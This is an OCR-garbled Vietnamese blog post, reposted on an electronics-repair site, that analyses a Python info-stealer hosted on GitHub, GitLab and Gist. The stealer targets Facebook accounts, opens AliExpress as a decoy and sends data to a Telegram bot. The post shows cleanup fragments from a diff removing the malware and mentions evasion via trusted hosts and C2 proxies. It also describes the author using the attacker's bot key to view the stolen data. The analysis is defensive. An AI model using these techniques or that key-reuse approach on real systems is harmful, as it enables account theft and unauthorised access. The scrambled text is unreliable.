Dua trén cac dit kién tu github, gitlab va gist thi minh nhan dinh so b0 nhu sau:

Tai liéu nay duoc tai tir website: http://linhkienthaomay.com. Zalo ho tro: 0389937723
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« Cach dat tén tai khoan github va mot s6 code & cac repository dd ndi 1én day la mot
nguoi Viet Nam

Thanh An
‘1| '-.| 'q| E ':1_| | .2 tm- ] LinhFienThaoMay.Com

Zalo: 03B993TT23

github cua do6i twong

Showing 1 changed file with 1 addition and 469 deletions.

ey - AUL.PUS L UZ,udLa—] LapLiull .\l T Lounuey . +
463 - shutil.rmtree(os.environ["TEMP"], name f +'.zip');shut
4gd = else :
465 - shutil.rmtree{os.environ["TEMP"], name f +'.zip');shut
466 - print("3@ minute ")
467 - if os.path.exists({python318 path):
468 - os.remove(python318 path)
469 - main()

1 4+ concawc] LinhKienThaoMay.Com

Falo: 03BO93ITT2I

commit trong repository chita ma doc

« Mé doc nay duoc thiét ké voi muc tiéu 1a cac shop ban hang (hoac mot shop cu thé nao
do), shop nay c6 lién quan dén hang nhép khau tlr Alibaba -> méa déc mé trang web
https://www.aliexpress.us/ dau tién dé ngudi dung khéng nghi ngo. Tén repository tai
github ma gitlab déu dé cap dén cum tir alibaba.

Tai liéu nay duoc tai tir website: http://linhkienthaomay.com. Zalo ho tro: 0389937723
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« Muc tiéu ctia ma doc la nham dén tai khoan facebook clia nan nhén, trong code cta ké
tdn cong co chi dich danh dén dia chi facebook.com.

n[ "TEMP™ ], name f, "c

50 + "\n")

Doan code khai thac thong tin facebook
Hack the hacker

Mac du link gist cia ma doc da bi g& xuéng nhung trudc d6 minh da kip thu thap duoc thong
tin vé API key ma telegram bot cta déi twong nay dung dé van chuyén dit liéu.

Bay gio minh sé “vao hang cop” dé xem doi twong nay da hack duoc ai va ldy duoc dir liéu

Dir liéu dugc gui vé telegram cua hacker

// Minh dd che lai cdc théng tin nhay cam

 C6 vé nhu muc tiéu cta hacker chi la mot don vi cu thé nao d6, khi con moi da mac bay
thl ma doc & trén gist da dwoc g& xudng. Theo nhw qué trinh tim hi€u trén internet thi

minh chua thay dau hiéu phat tan ma doc nay tran lan.

D€ bai viét ki thuat nay khong di qué xa thl chuyén muc Hack the hacker xin tam dimg tai
day.

Tai liéu nay duoc tai tir website: http://linhkienthaomay.com. Zalo ho tro: 0389937723
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Két luan

Qua céch thirc tan cong vé mat ki thuat thi day la mot dang tan cong rat tinh vi, ké tdn cong
da loi dung cac nha cung cap dang tin cay nhu github, gitlab, gist, telegram va mé doc duoc
chay dwdi dang python script nén windows defender kho phat hién ra. Ki thuat nay cling
duwoc dé cap tai WarCon22 bédi 6ng mgeeky.

Command & Control

e Nginx Rev-Proxy + RedWarden to cut o

Ki thuat trén tranh phong thu

O bai thuyét trinh tai WarCon22, é6ng mgeeky ung dung ki thuat nay cho viéc két néi
dén Command & Control. Xem thém vé bai thuyét trinh cta mgeeky tai
day: https://mgeeky.tech/uploads/WarCon22%20-%20Modern%20Initial%20Access%20and%

20Evasion%20Tactics.pdf

Théng qua source code minh cam thay hacker khong phai tay ngang ma la mot lap trinh
vién kha am hiéu vé trinh duyét.

TRUNG TAM SUA CHUA DIEN TU QUANG BINH

MR. XO - 0901.679.359 - 80 Vo Thi Sau, Phuong Quang Thuan, tx Ba Pén, tinh
Quang Binh

Tai liéu nay duoc tai tir website: http://linhkienthaomay.com. Zalo ho tro: 0389937723
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[ GIA RE & TRUNG TAM SUA @HU’A DIEN TU
X0 NGUYEN

) ginainsona
%m@m&aww
De: Quing Tuun. e Bo D,
tihQuing Bink - 0901.679.359

Cudi cung la hanh vi tdn cong chinh nguoi dan Viét Nam thi dang 1én 4n va khong thé chap
thay.

Nguo6n: vmtien.id.vn

Cac bai viét tuong tu:

1. chao cac ban - do may kho nhiet
2. cho em hoi - con linh kién T600H 1a con linh kién j
3. dell - thao den nguon ra kiem tra thick co tu kick 12v,khi gan den vao thi co tieng keu
rit rit,nhung den ko len
4. HDD Hitachi 500GB - dang dung tot
5. Hu6ng dan thém LGT8F328P vao arduino
6. mainboard foxconn h61 cpu g1620@ 2.70ghz - may chay rat cham z6 net nghe nhac
ciing kg dk
7. may giat 1ong ding - médi
8. mdy giat panasonic F70A6 16ng ding - + mdy bat nquon dé khodng 30s mdy tw dong
kéo xa .nhung khi bat chay thi lai ngdt xa va cdp nuocs giat binh thuwong nhung dén 1an
giat thw 2 thi lai tu dong kéo xa va cdp nuocs nhung khi nhdc canh cua hoac an tam
dung sau d6 bam lai thi lai haotj dong binh thuong
9. NGUON ATX - MOI VAO NGHE
10. Tivi Panasonic model TC-21PS79V chay téng TB1261FG, chéi MN101C46F - Hinh dnh
bi 4&m ban - chit hién thi kénh va chir trong menu xanh chuyén den
11. tulanh - lung gian lanh
12. Tu lanh samsung inventer - Bi déng tuyét ngan da, khong mét ngan mat

Tai liéu nay duoc tai tir website: http://linhkienthaomay.com. Zalo ho tro: 0389937723
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https://linhkienthaomay.com/goc-ky-thuat/hoi-dap/mainboard-foxconn-h61-cpu-g1620-2-70ghz-may-chay-rat-cham-zo-net-nghe-nhac-cung-kg-dk-4499.html
https://linhkienthaomay.com/goc-ky-thuat/hoi-dap/mainboard-foxconn-h61-cpu-g1620-2-70ghz-may-chay-rat-cham-zo-net-nghe-nhac-cung-kg-dk-4499.html
https://linhkienthaomay.com/goc-ky-thuat/hoi-dap/may-giat-long-dung-moi-6368.html
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